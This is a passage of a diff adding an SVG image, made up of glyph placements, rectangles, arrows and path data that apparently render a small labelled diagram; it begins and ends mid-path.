1.445312 0.101562 1.3125 -0.03125 C 1.1875 -0.164062 1.125 -0.375 1.125 -0.65625 Z M 1.125 -0.65625 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface21082">
+<rect x="0" y="0" width="681" height="170" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 16 12 L 50 12 L 50 20.4 L 16 20.4 Z M 16 12 " transform="matrix(20,0,0,20,-319,-239)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="471.15625" y="37.138889"/>
+  <use xlink:href="#glyph0-2" x="478.378472" y="37.138889"/>
+  <use xlink:href="#glyph0-3" x="486.434028" y="37.138889"/>
+  <use xlink:href="#glyph0-4" x="495.322917" y="37.138889"/>
+  <use xlink:href="#glyph0-5" x="500.045139" y="37.138889"/>
+  <use xlink:href="#glyph0-6" x="508.378472" y="37.138889"/>
+  <use xlink:href="#glyph0-7" x="512.545139" y="37.138889"/>
+  <use xlink:href="#glyph0-8" x="516.989583" y="37.138889"/>
+  <use xlink:href="#glyph0-9" x="525.878472" y="37.138889"/>
+  <use xlink:href="#glyph0-10" x="531.434028" y="37.138889"/>
+  <use xlink:href="#glyph0-11" x="540.322917" y="37.138889"/>
+  <use xlink:href="#glyph0-12" x="549.211806" y="37.138889"/>
+  <use xlink:href="#glyph0-13" x="558.100694" y="37.138889"/>
+  <use xlink:href="#glyph0-14" x="565.322917" y="37.138889"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-15" x="59.203125" y="35.138889"/>
+  <use xlink:href="#glyph0-9" x="67.814236" y="35.138889"/>
+  <use xlink:href="#glyph0-10" x="73.369792" y="35.138889"/>
+  <use xlink:href="#glyph0-11" x="82.258681" y="35.138889"/>
+  <use xlink:href="#glyph0-12" x="91.147569" y="35.138889"/>
+  <use xlink:href="#glyph0-13" x="100.036458" y="35.138889"/>
+  <use xlink:href="#glyph0-14" x="107.258681" y="35.138889"/>
+  <use xlink:href="#glyph0-7" x="112.814236" y="35.138889"/>
+  <use xlink:href="#glyph0-16" x="117.258681" y="35.138889"/>
+  <use xlink:href="#glyph0-3" x="128.369792" y="35.138889"/>
+  <use xlink:href="#glyph0-17" x="137.258681" y="35.138889"/>
+  <use xlink:href="#glyph0-5" x="141.703125" y="35.138889"/>
+  <use xlink:href="#glyph0-13" x="150.036458" y="35.138889"/>
+  <use xlink:href="#glyph0-14" x="157.258681" y="35.138889"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35.3 14.293164 C 35.134375 14.293164 35 14.427344 35 14.593164 L 35 17.993164 C 35 18.158789 35.134375 18.293164 35.3 18.293164 L 48.7 18.293164 C 48.865625 18.293164 49 18.158789 49 17.993164 L 49 14.593164 C 49 14.427344 48.865625 14.293164 48.7 14.293164 Z M 35.3 14.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35 15.397266 L 49 15.397266 L 49 16.283203 L 35 16.283203 Z M 35 15.397266 " transform="matrix(20,0,0,20,-319,-239)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="388.78125" y="64.342122"/>
+  <use xlink:href="#glyph1-2" x="391.836806" y="64.342122"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="413.225694" y="64.342122"/>
+  <use xlink:href="#glyph1-4" x="419.614583" y="64.342122"/>
+  <use xlink:href="#glyph1-5" x="425.447917" y="64.342122"/>
+  <use xlink:href="#glyph1-6" x="434.892361" y="64.342122"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-7" x="462.114583" y="64.342122"/>
+  <use xlink:href="#glyph1-8" x="468.503472" y="64.342122"/>
+  <use xlink:href="#glyph1-1" x="472.392361" y="64.342122"/>
+  <use xlink:href="#glyph1-9" x="475.447917" y="64.342122"/>
+  <use xlink:href="#glyph1-6" x="480.447917" y="64.342122"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="511.003472" y="64.342122"/>
+  <use xlink:href="#glyph1-10" x="514.059028" y="64.342122"/>
+  <use xlink:href="#glyph1-2" x="517.114583" y="64.342122"/>
+  <use xlink:href="#glyph1-6" x="523.503472" y="64.342122"/>
+  <use xlink:href="#glyph1-11" x="529.614583" y="64.342122"/>
+  <use xlink:href="#glyph1-9" x="534.614583" y="64.342122"/>
+  <use xlink:href="#glyph1-8" x="539.892361" y="64.342122"/>
+  <use xlink:href="#glyph1-1" x="543.78125" y="64.342122"/>
+  <use xlink:href="#glyph1-7" x="546.836806" y="64.342122"/>
+  <use xlink:href="#glyph1-12" x="553.225694" y="64.342122"/>
+  <use xlink:href="#glyph1-1" x="557.392361" y="64.342122"/>
+  <use xlink:href="#glyph1-13" x="560.447917" y="64.342122"/>
+  <use xlink:href="#glyph1-3" x="566.836806" y="64.342122"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-14" x="388.78125" y="82.685872"/>
+  <use xlink:href="#glyph1-15" x="395.447917" y="82.685872"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-16" x="413.225694" y="82.685872"/>
+  <use xlink:href="#glyph1-1" x="420.170139" y="82.685872"/>
+  <use xlink:href="#glyph1-17" x="423.225694" y="82.685872"/>
+  <use xlink:href="#glyph1-6" x="428.78125" y="82.685872"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-18" x="462.114583" y="82.685872"/>
+  <use xlink:href="#glyph1-19" x="468.78125" y="82.685872"/>
+  <use xlink:href="#glyph1-20" x="475.447917" y="82.685872"/>
+  <use xlink:href="#glyph1-20" x="482.114583" y="82.685872"/>
+  <use xlink:href="#glyph1-21" x="488.78125" y="82.685872"/>
+  <use xlink:href="#glyph1-20" x="491.28125" y="82.685872"/>
+  <use xlink:href="#glyph1-20" x="497.947917" y="82.685872"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="511.003472" y="82.685872"/>
+  <use xlink:href="#glyph1-10" x="514.059028" y="82.685872"/>
+  <use xlink:href="#glyph1-22" x="517.114583" y="82.685872"/>
+  <use xlink:href="#glyph1-23" x="523.503472" y="82.685872"/>
+  <use xlink:href="#glyph1-6" x="529.336806" y="82.685872"/>
+  <use xlink:href="#glyph1-2" x="535.447917" y="82.685872"/>
+  <use xlink:href="#glyph1-10" x="541.836806" y="82.685872"/>
+  <use xlink:href="#glyph1-24" x="544.892361" y="82.685872"/>
+  <use xlink:href="#glyph1-6" x="551.28125" y="82.685872"/>
+  <use xlink:href="#glyph1-4" x="557.392361" y="82.685872"/>
+  <use xlink:href="#glyph1-8" x="563.225694" y="82.685872"/>
+  <use xlink:href="#glyph1-25" x="566.559028" y="82.685872"/>
+  <use xlink:href="#glyph1-10" x="568.225694" y="82.685872"/>
+  <use xlink:href="#glyph1-26" x="571.28125" y="82.685872"/>
+  <use xlink:href="#glyph1-27" x="577.670139" y="82.685872"/>
+  <use xlink:href="#glyph1-28" x="581.003472" y="82.685872"/>
+  <use xlink:href="#glyph1-6" x="587.392361" y="82.685872"/>
+  <use xlink:href="#glyph1-25" x="593.503472" y="82.685872"/>
+  <use xlink:href="#glyph1-10" x="595.170139" y="82.685872"/>
+  <use xlink:href="#glyph1-29" x="598.225694" y="82.685872"/>
+  <use xlink:href="#glyph1-4" x="602.114583" y="82.685872"/>
+  <use xlink:href="#glyph1-11" x="607.947917" y="82.685872"/>
+  <use xlink:href="#glyph1-12" x="612.947917" y="82.685872"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-14" x="388.78125" y="101.029622"/>
+  <use xlink:href="#glyph1-30" x="395.447917" y="101.029622"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-31" x="413.225694" y="101.029622"/>
+  <use xlink:href="#glyph1-6" x="421.003472" y="101.029622"/>
+  <use xlink:href="#glyph1-27" x="427.114583" y="101.029622"/>
+  <use xlink:href="#glyph1-5" x="430.447917" y="101.029622"/>
+  <use xlink:href="#glyph1-6" x="439.892361" y="101.029622"/>
+  <use xlink:href="#glyph1-12" x="446.003472" y="101.029622"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-18" x="462.114583" y="101.029622"/>
+  <use xlink:href="#glyph1-15" x="468.78125" y="101.029622"/>
+  <use xlink:href="#glyph1-20" x="475.447917" y="101.029622"/>
+  <use xlink:href="#glyph1-21" x="482.114583" y="101.029622"/>
+  <use xlink:href="#glyph1-32" x="484.614583" y="101.029622"/>
+  <use xlink:href="#glyph1-32" x="491.28125" y="101.029622"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="511.003472" y="101.029622"/>
+  <use xlink:href="#glyph1-10" x="514.059028" y="101.029622"/>
+  <use xlink:href="#glyph1-26" x="517.114583" y="101.029622"/>
+  <use xlink:href="#glyph1-27" x="523.503472" y="101.029622"/>
+  <use xlink:href="#glyph1-4" x="526.836806" y="101.029622"/>
+  <use xlink:href="#glyph1-9" x="532.670139" y="101.029622"/>
+  <use xlink:href="#glyph1-17" x="537.947917" y="101.029622"/>
+  <use xlink:href="#glyph1-25" x="543.503472" y="101.029622"/>
+  <use xlink:href="#glyph1-10" x="545.170139" y="101.029622"/>
+  <use xlink:href="#glyph1-22" x="548.225694" y="101.029622"/>
+  <use xlink:href="#glyph1-12" x="554.614583" y="101.029622"/>
+  <use xlink:href="#glyph1-11" x="558.78125" y="101.029622"/>
+  <use xlink:href="#glyph1-10" x="563.78125" y="101.029622"/>
+  <use xlink:href="#glyph1-5" x="566.836806" y="101.029622"/>
+  <use xlink:href="#glyph1-13" x="576.28125" y="101.029622"/>
+  <use xlink:href="#glyph1-11" x="582.670139" y="101.029622"/>
+  <use xlink:href="#glyph1-12" x="587.670139" y="101.029622"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-14" x="388.78125" y="119.373372"/>
+  <use xlink:href="#glyph1-33" x="395.447917" y="119.373372"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-34" x="413.225694" y="119.373372"/>
+  <use xlink:href="#glyph1-6" x="416.836806" y="119.373372"/>
+  <use xlink:href="#glyph1-8" x="422.947917" y="119.373372"/>
+  <use xlink:href="#glyph1-11" x="426.836806" y="119.373372"/>
+  <use xlink:href="#glyph1-6" x="431.836806" y="119.373372"/>
+  <use xlink:href="#glyph1-35" x="437.670139" y="119.373372"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-18" x="462.114583" y="119.373372"/>
+  <use xlink:href="#glyph1-30" x="468.78125" y="119.373372"/>
+  <use xlink:href="#glyph1-36" x="475.447917" y="119.373372"/>
+  <use xlink:href="#glyph1-21" x="482.114583" y="119.373372"/>
+  <use xlink:href="#glyph1-20" x="484.614583" y="119.373372"/>
+  <use xlink:href="#glyph1-20" x="491.28125" y="119.373372"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="511.003472" y="119.373372"/>
+  <use xlink:href="#glyph1-10" x="514.059028" y="119.373372"/>
+  <use xlink:href="#glyph1-37" x="517.114583" y="119.373372"/>
+  <use xlink:href="#glyph1-13" x="525.725694" y="119.373372"/>
+  <use xlink:href="#glyph1-5" x="532.114583" y="119.373372"/>
+  <use xlink:href="#glyph1-6" x="541.559028" y="119.373372"/>
+  <use xlink:href="#glyph1-3" x="547.670139" y="119.373372"/>
+  <use xlink:href="#glyph1-38" x="554.059028" y="119.373372"/>
+  <use xlink:href="#glyph1-11" x="556.003472" y="119.373372"/>
+  <use xlink:href="#glyph1-25" x="561.003472" y="119.373372"/>
+  <use xlink:href="#glyph1-10" x="562.670139" y="119.373372"/>
+  <use xlink:href="#glyph1-24" x="565.725694" y="119.373372"/>
+  <use xlink:href="#glyph1-8" x="572.114583" y="119.373372"/>
+  <use xlink:href="#glyph1-6" x="576.003472" y="119.373372"/>
+  <use xlink:href="#glyph1-6" x="581.836806" y="119.373372"/>
+  <use xlink:href="#glyph1-3" x="587.947917" y="119.373372"/>
+  <use xlink:href="#glyph1-10" x="594.336806" y="119.373372"/>
+  <use xlink:href="#glyph1-4" x="597.392361" y="119.373372"/>
+  <use xlink:href="#glyph1-3" x="603.225694" y="119.373372"/>
+  <use xlink:href="#glyph1-2" x="609.614583" y="119.373372"/>
+  <use xlink:href="#glyph1-10" x="616.003472" y="119.373372"/>
+  <use xlink:href="#glyph1-37" x="619.059028" y="119.373372"/>
+  <use xlink:href="#glyph1-39" x="627.670139" y="119.373372"/>
+  <use xlink:href="#glyph1-1" x="634.059028" y="119.373372"/>
+  <use xlink:href="#glyph1-12" x="637.114583" y="119.373372"/>
+  <use xlink:href="#glyph1-6" x="641.003472" y="119.373372"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35 15.397266 L 49 15.393164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 36.33457 14.293164 L 36.33457 18.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 38.730078 14.293164 L 38.730078 18.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.439258 14.293164 L 41.439258 18.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35.3 14.293164 C 35.134375 14.293164 35 14.427344 35 14.593164 L 35 17.993164 C 35 18.158789 35.134375 18.293164 35.3 18.293164 L 48.7 18.293164 C 48.865625 18.293164 49 18.158789 49 17.993164 L 49 14.593164 C 49 14.427344 48.865625 14.293164 48.7 14.293164 Z M 35.3 14.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 17.3 14.193164 C 17.134375 14.193164 17 14.327344 17 14.493164 L 17 18.093164 C 17 18.258789 17.134375 18.393164 17.3 18.393164 L 25.7 18.393164 C 25.865625 18.393164 26 18.258789 26 18.093164 L 26 14.493164 C 26 14.327344 25.865625 14.193164 25.7 14.193164 Z M 17.3 14.193164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="29.429688" y="64.010091"/>
+  <use xlink:href="#glyph1-2" x="32.485243" y="64.010091"/>
+  <use xlink:href="#glyph1-40" x="38.874132" y="64.010091"/>
+  <use xlink:href="#glyph1-10" x="41.929688" y="64.010091"/>
+  <use xlink:href="#glyph1-14" x="44.985243" y="64.010091"/>
+  <use xlink:href="#glyph1-15" x="51.65191" y="64.010091"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="29.429688" y="82.353841"/>
+  <use xlink:href="#glyph1-4" x="35.818576" y="82.353841"/>
+  <use xlink:href="#glyph1-5" x="41.65191" y="82.353841"/>
+  <use xlink:href="#glyph1-6" x="51.096354" y="82.353841"/>
+  <use xlink:href="#glyph1-40" x="57.207465" y="82.353841"/>
+  <use xlink:href="#glyph1-10" x="60.263021" y="82.353841"/>
+  <use xlink:href="#glyph1-16" x="63.318576" y="82.353841"/>
+  <use xlink:href="#glyph1-1" x="70.263021" y="82.353841"/>
+  <use xlink:href="#glyph1-17" x="73.318576" y="82.353841"/>
+  <use xlink:href="#glyph1-6" x="78.874132" y="82.353841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-7" x="29.429688" y="100.697591"/>
+  <use xlink:href="#glyph1-8" x="35.818576" y="100.697591"/>
+  <use xlink:href="#glyph1-1" x="39.707465" y="100.697591"/>
+  <use xlink:href="#glyph1-9" x="42.763021" y="100.697591"/>
+  <use xlink:href="#glyph1-6" x="47.763021" y="100.697591"/>
+  <use xlink:href="#glyph1-40" x="53.874132" y="100.697591"/>
+  <use xlink:href="#glyph1-10" x="56.929688" y="100.697591"/>
+  <use xlink:href="#glyph1-18" x="59.985243" y="100.697591"/>
+  <use xlink:href="#glyph1-19" x="66.65191" y="100.697591"/>
+  <use xlink:href="#glyph1-20" x="73.318576" y="100.697591"/>
+  <use xlink:href="#glyph1-20" x="79.985243" y="100.697591"/>
+  <use xlink:href="#glyph1-21" x="86.65191" y="100.697591"/>
+  <use xlink:href="#glyph1-20" x="89.15191" y="100.697591"/>
+  <use xlink:href="#glyph1-20" x="95.818576" y="100.697591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-2" x="29.429688" y="119.041341"/>
+  <use xlink:href="#glyph1-6" x="35.818576" y="119.041341"/>
+  <use xlink:href="#glyph1-11" x="41.929688" y="119.041341"/>
+  <use xlink:href="#glyph1-9" x="46.929688" y="119.041341"/>
+  <use xlink:href="#glyph1-8" x="52.207465" y="119.041341"/>
+  <use xlink:href="#glyph1-1" x="56.096354" y="119.041341"/>
+  <use xlink:href="#glyph1-7" x="59.15191" y="119.041341"/>
+  <use xlink:href="#glyph1-12" x="65.540799" y="119.041341"/>
+  <use xlink:href="#glyph1-1" x="69.707465" y="119.041341"/>
+  <use xlink:href="#glyph1-13" x="72.763021" y="119.041341"/>
+  <use xlink:href="#glyph1-3" x="79.15191" y="119.041341"/>
+  <use xlink:href="#glyph1-40" x="85.540799" y="119.041341"/>
+  <use xlink:href="#glyph1-10" x="88.596354" y="119.041341"/>
+  <use xlink:href="#glyph1-22" x="91.65191" y="119.041341"/>
+  <use xlink:href="#glyph1-23" x="98.040799" y="119.041341"/>
+  <use xlink:href="#glyph1-6" x="103.874132" y="119.041341"/>
+  <use xlink:href="#glyph1-2" x="109.985243" y="119.041341"/>
+  <use xlink:href="#glyph1-10" x="116.374132" y="119.041341"/>
+  <use xlink:href="#glyph1-24" x="119.429688" y="119.041341"/>
+  <use xlink:href="#glyph1-6" x="125.818576" y="119.041341"/>
+  <use xlink:href="#glyph1-4" x="131.929688" y="119.041341"/>
+  <use xlink:href="#glyph1-8" x="137.763021" y="119.041341"/>
+  <use xlink:href="#glyph1-25" x="141.096354" y="119.041341"/>
+  <use xlink:href="#glyph1-10" x="142.763021" y="119.041341"/>
+  <use xlink:href="#glyph1-26" x="145.818576" y="119.041341"/>
+  <use xlink:href="#glyph1-27" x="152.207465" y="119.041341"/>
+  <use xlink:href="#glyph1-28" x="155.540799" y="119.041341"/>
+  <use xlink:href="#glyph1-6" x="161.929688" y="119.041341"/>
+  <use xlink:href="#glyph1-25" x="168.040799" y="119.041341"/>
+  <use xlink:href="#glyph1-10" x="169.707465" y="119.041341"/>
+  <use xlink:href="#glyph1-29" x="172.763021" y="119.041341"/>
+  <use xlink:href="#glyph1-4" x="176.65191" y="119.041341"/>
+  <use xlink:href="#glyph1-11" x="182.485243" y="119.041341"/>
+  <use xlink:href="#glyph1-12" x="187.485243" y="119.041341"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 26.994141 15.293164 L 33.444141 15.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 33.444141 15.543164 L 33.944141 15.293164 L 33.444141 15.043164 Z M 33.444141 15.543164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 27.555859 17.293164 L 34.005859 17.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 27.555859 17.043164 L 27.055859 17.293164 L 27.555859 17.543164 Z M 27.555859 17.043164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 29.3 18.4 C 29.307617 19.057227 29.842773 19.586133 30.5 19.586133 C 31.157227 19.586133 31.692383 19.057227 31.7 18.4 C 31.7 17 31.7 15.6 31.7 14.2 C 31.7 13.881836 31.573633 13.576562 31.348437 13.351562 C 31.123438 13.126367 30.818164 13 30.5 13 C 30.181836 13 29.876562 13.126367 29.651563 13.351562 C 29.426367 13.576562 29.3 13.881836 29.3 14.2 C 29.3 15.6 29.3 17 29.3 18.4 Z M 29.3 18.4 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 299.523438 57.085938 C 299.566406 57.308594 299.59375 57.5625 299.609375 57.851562 C 299.636719 58.128906 299.652344 58.410156 299.652344 58.699219 C 299.664062 58.996094 299.671875 59.28125 299.671875 59.566406 C 299.683594 59.847656 299.695312 60.117188 299.695312 60.371094 C 299.695312 61.414062 299.515625 62.304688 299.164062 63.042969 C 298.824219 63.789062 298.328125 64.386719 297.679688 64.84375 C 297.046875 65.308594 296.273438 65.636719 295.371094 65.839844 C 294.464844 66.050781 293.453125 66.15625 292.339844 66.15625 C 291.351562 66.15625 290.394531 66.054688 289.480469 65.859375 C 288.558594 65.660156 287.753906 65.332031 287.0625 64.863281 C 286.371094 64.410156 285.8125 63.804688 285.390625 63.042969 C 284.976562 62.277344 284.773438 61.324219 284.773438 60.179688 C 284.773438 59.996094 284.773438 59.757812 284.773438 59.460938 C 284.785156 59.175781 284.800781 58.878906 284.816406 58.570312 C 284.84375 58.257812 284.863281 57.964844 284.882812 57.703125 C 284.890625 57.429688 284.914062 57.226562 284.945312 57.085938 M 298.339844 60.433594 C 298.339844 60.292969 298.339844 60.140625 298.339844 59.96875 C 298.339844 59.800781 298.328125 59.636719 298.316406 59.480469 C 298.300781 59.324219 298.285156 59.175781 298.273438 59.035156 C 298.257812 58.894531 298.242188 58.78125 298.230469 58.699219 L 286.214844 58.699219 C 286.199219 58.75 286.183594 58.855469 286.171875 59.015625 C 286.171875 59.167969 286.164062 59.324219 286.152344 59.480469 C 286.152344 59.652344 286.140625 59.808594 286.132812 59.96875 C 286.132812 60.121094 286.132812 60.234375 286.132812 60.308594 C 286.132812 61.097656 286.300781 61.761719 286.640625 62.300781 C 286.980469 62.835938 287.429688 63.257812 287.996094 63.570312 C 288.558594 63.894531 289.214844 64.121094 289.96875 64.25 C 290.730469 64.378906 291.523438 64.441406 292.363281 64.441406 C 293.109375 64.441406 293.84375 64.382812 294.566406 64.269531 C 295.285156 64.15625 295.921875 63.941406 296.472656 63.636719 C 297.023438 63.339844 297.46875 62.9375 297.808594 62.425781 C 298.15625 61.917969 298.339844 61.25 298.339844 60.433594 M 290.199219 67.34375 C 292.066406 67.34375 293.433594 67.671875 294.3125 68.339844 C 295.1875 69.019531 295.625 69.976562 295.625 71.222656 C 295.625 72.546875 295.167969 73.523438 294.269531 74.148438 C 293.378906 74.78125 292.023438 75.101562 290.199219 75.101562 C 288.320312 75.101562 286.941406 74.761719 286.066406 74.082031 C 285.203125 73.40625 284.773438 72.453125 284.773438 71.222656 C 284.773438 69.890625 285.21875 68.914062 286.109375 68.277344 C 287.011719 67.652344 288.378906 67.34375 290.199219 67.34375 M 290.199219 68.976562 C 289.589844 68.976562 289.039062 69.007812 288.546875 69.082031 C 288.050781 69.167969 287.621094 69.300781 287.253906 69.484375 C 286.898438 69.664062 286.625 69.898438 286.429688 70.183594 C 286.226562 70.480469 286.132812 70.824219 286.132812 71.222656 C 286.132812 71.984375 286.449219 72.546875 287.085938 72.917969 C 287.730469 73.300781 288.769531 73.488281 290.199219 73.488281 C 290.792969 73.488281 291.332031 73.449219 291.832031 73.363281 C 292.339844 73.289062 292.769531 73.160156 293.125 72.980469 C 293.492188 72.796875 293.769531 72.558594 293.972656 72.261719 C 294.167969 71.972656 294.269531 71.628906 294.269531 71.222656 C 294.269531 70.484375 293.941406 69.929688 293.292969 69.546875 C 292.644531 69.167969 291.609375 68.976562 290.199219 68.976562 M 285.539062 83.300781 C 285.285156 82.929688 285.09375 82.519531 284.964844 82.050781 C 284.839844 81.597656 284.773438 81.117188 284.773438 80.609375 C 284.773438 79.917969 284.902344 79.328125 285.15625 78.851562 C 285.410156 78.371094 285.777344 77.984375 286.257812 77.6875 C 286.734375 77.390625 287.308594 77.167969 287.976562 77.027344 C 288.636719 76.902344 289.378906 76.839844 290.199219 76.839844 C 291.964844 76.839844 293.304688 77.160156 294.226562 77.8125 C 295.160156 78.476562 295.625 79.421875 295.625 80.652344 C 295.625 81.214844 295.574219 81.703125 295.476562 82.113281 C 295.375 82.523438 295.25 82.867188 295.09375 83.152344 L 293.761719 82.730469 C 294.097656 82.148438 294.269531 81.523438 294.269531 80.84375 C 294.269531 80.046875 293.933594 79.457031 293.273438 79.0625 C 292.621094 78.664062 291.597656 78.46875 290.199219 78.46875 C 289.632812 78.46875 289.101562 78.511719 288.609375 78.597656 C 288.113281 78.683594 287.683594 78.820312 287.316406 79.019531 C 286.945312 79.234375 286.660156 79.492188 286.449219 79.804688 C 286.238281 80.128906 286.132812 80.53125 286.132812 81.011719 C 286.132812 81.378906 286.195312 81.722656 286.320312 82.050781 C 286.460938 82.375 286.617188 82.644531 286.789062 82.855469 M 295.625 84.359375 L 295.625 85.695312 L 297.828125 85.695312 L 298.339844 87.242188 L 295.625 87.242188 L 295.625 89.597656 L 294.269531 89.597656 L 294.269531 87.242188 L 287.910156 87.242188 C 287.277344 87.242188 286.816406 87.316406 286.535156 87.476562 C 286.265625 87.628906 286.132812 87.878906 286.132812 88.21875 C 286.132812 88.515625 286.164062 88.757812 286.238281 88.960938 C 286.304688 89.171875 286.390625 89.40625 286.492188 89.660156 L 285.285156 89.957031 C 285.125 89.644531 284.996094 89.289062 284.902344 88.894531 C 284.816406 88.515625 284.773438 88.117188 284.773438 87.710938 C 284.773438 86.988281 284.996094 86.46875 285.453125 86.164062 C 285.917969 85.851562 286.671875 85.695312 287.71875 85.695312 L 294.269531 85.695312 L 294.269531 84.359375 M 295.625 90.867188 L 295.625 91.992188 L 294.3125 92.265625 L 294.3125 92.328125 C 294.71875 92.527344 295.039062 92.785156 295.265625 93.113281 C 295.503906 93.4375 295.625 93.835938 295.625 94.300781 C 295.625 94.625 295.566406 95 295.457031 95.421875 L 294.078125 95.125 C 294.207031 94.746094 294.269531 94.410156 294.269531 94.132812 C 294.269531 93.664062 294.132812 93.285156 293.867188 92.988281 C 293.597656 92.699219 293.234375 92.519531 292.785156 92.433594 L 284.773438 92.433594 L 284.773438 90.867188 M 295.625 96.566406 L 295.625 98.113281 L 284.773438 98.113281 L 284.773438 96.566406 M 298.296875 96.269531 C 298.703125 96.269531 299.039062 96.367188 299.292969 96.566406 C 299.554688 96.765625 299.695312 97.019531 299.695312 97.332031 C 299.695312 97.652344 299.566406 97.925781 299.3125 98.136719 C 299.070312 98.347656 298.730469 98.453125 298.296875 98.453125 C 297.882812 98.453125 297.558594 98.347656 297.320312 98.136719 C 297.09375 97.925781 296.980469 97.652344 296.980469 97.332031 C 296.980469 97.019531 297.097656 96.765625 297.34375 96.566406 C 